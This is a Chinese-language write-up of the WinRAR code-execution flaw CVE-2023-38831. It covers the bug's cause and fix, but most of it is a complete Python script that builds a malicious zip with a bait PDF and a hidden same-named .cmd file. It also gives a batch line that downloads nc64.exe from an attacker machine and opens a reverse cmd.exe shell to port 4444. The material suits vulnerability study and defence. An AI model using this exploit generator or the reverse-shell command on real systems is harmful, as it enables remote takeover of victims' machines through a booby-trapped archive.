一、漏洞介绍
WinRAR是一款文件压缩器,该产品支持RAR、ZIP等格式文件的压缩和解压等。WinRAR在处理压缩包内同名的文件与文件夹时代码执行漏洞,攻击者构建由恶意文件与非恶意文件构成的特制压缩包文件,诱导受害者打开此文件后,将在受害者机器上执行任意代码。
RARLabs WinRAR 6.23之前版本存在安全漏洞,攻击者利用该漏洞可以执行任意代码。
漏洞触发主要分成两个环节:
1、点击诱饵文件时同名文件夹下的文件被释放
2、执行文件时执行文件夹下的 .cmd文件而不是原文件
二、漏洞检测
1、准备文件需要执行的命令【打开计算器】
后面的命令为打开诱导文件【防止用户怀疑】
修改后缀名为.bat
2、准备恶意脚本cve-2023-38831-exp-gen.py【github下载后修改】
import shutil
import os, sys
from os.path import join
TEMPLATE_NAME = "TEMPLATE"
OUTPUT_NAME = "poc.zip"
BAIT_NAME = "hushuo_demo.pdf"
SCRIPT_NAME = "script.bat"
if len(sys.argv) > 3:
BAIT_NAME = os.path.basename(sys.argv[1])
SCRIPT_NAME = os.path.basename(sys.argv[2])
OUTPUT_NAME = os.path.basename(sys.argv[3])
elif len(sys.argv) == 2 and sys.argv[1] == "poc":
pass
else:
print("""Usage:
python .\make.py poc
python .\make.py <BAIT_NAME> <SCRIPT_NAME> <OUTPUT_NAME>""")
sys.exit()
BAIT_EXT = b"." + bytes(BAIT_NAME.split(".")[-1], "utf-8")
print("BAIT_NAME:", BAIT_NAME)
print("SCRIPT_NAME:", SCRIPT_NAME)
print("OUTPUT_NAME:", OUTPUT_NAME)
if os.path.exists(TEMPLATE_NAME):
shutil.rmtree(TEMPLATE_NAME)
os.mkdir(TEMPLATE_NAME)
d = join(TEMPLATE_NAME, BAIT_NAME + "A")
if not os.path.exists(d):
os.mkdir(d)
shutil.copyfile(join(SCRIPT_NAME), join(d, BAIT_NAME+"A.cmd"))
shutil.copyfile(join(BAIT_NAME), join(TEMPLATE_NAME, BAIT_NAME+"B"))
# if os.path.exists(OUTPUT_NAME):
# print("!!! dir %s exists, delete it first" %(OUTPUT_NAME))
# sys.exit()
shutil.make_archive(TEMPLATE_NAME, 'zip', TEMPLATE_NAME)
with open(TEMPLATE_NAME + ".zip", "rb") as f:
content = f.read()
content = content.replace(BAIT_EXT + b"A", BAIT_EXT + b" ")
content = content.replace(BAIT_EXT + b"B", BAIT_EXT + b" ")
os.remove(TEMPLATE_NAME + ".zip")
with open(OUTPUT_NAME, "wb") as f:
f.write(content)
print("ok..")
3、准备诱导文件hushuo_demo.pdf
4、运行脚本生成恶意压缩包【.py+script.bat+hushuo_demo.pdf】
5、使用winrar打开压缩包,再双击诱导文件【打开计算器则成功】
三、漏洞利用
1、kali启动http服务【将nc64.exe在此目录下】
python -m http.server
2、kali启动端口监听【4444】
3、本地POC文件制作
(1)hushuo_demo.pdf 诱导文件
(2)script.bat 脚本内容:
curl http://192.168.31.30:8000/nc64.exe -O nc64.exe & nc64.exe 192.168.31.30 4444 -e cmd.exe -d & hushuo_demo.pdf
(3)make.py 脚本内容:
4、运行脚本
5、在winRAR(<=6.23)中打开POC文件
双击普通文件,漏洞触发(运行script..bat内容、下载nc64.exe、建立反弹连接)
查看监听端口【漏洞触发】
四、漏洞原理
1、当受害者尝试打开存档文件中的"hushuo_demo.pdf"时,WinRAR会比较存档中的所有文件以查找与"hushuo_demo.pdf"同名的文件/目录
2、如果存在与"hushuo_demo.pdf"同名的目录,WinRAR则会继续检查"hushuo_demo.pdf/"目录下的文件
【文件夹后面有空格,win识别时不读取空格,所以认定为同名文件】
3、如果"hushuo_demo.pdf/"目录下同样存在文件名为"hushuo_demo.pdf"的文件则将"hushuo_demo.pdf/"目录下"hushuo_demo.pdf"文件放入提取列表中
【恶意文件后缀为.pdf.cmd,win识别时只读取第一个. (截断) 所以认定为同名文件】
4、最终导致压缩包中的hushuo_demo.pdf .cmd被解压出来,并且运行
【需要使用恶意脚本make.py 是因为正常windows无法做到同名文件/文件夹同时存在,无法保存有空格的文件夹名字】
五、漏洞修复
升级WinRAR版本6.23及以上。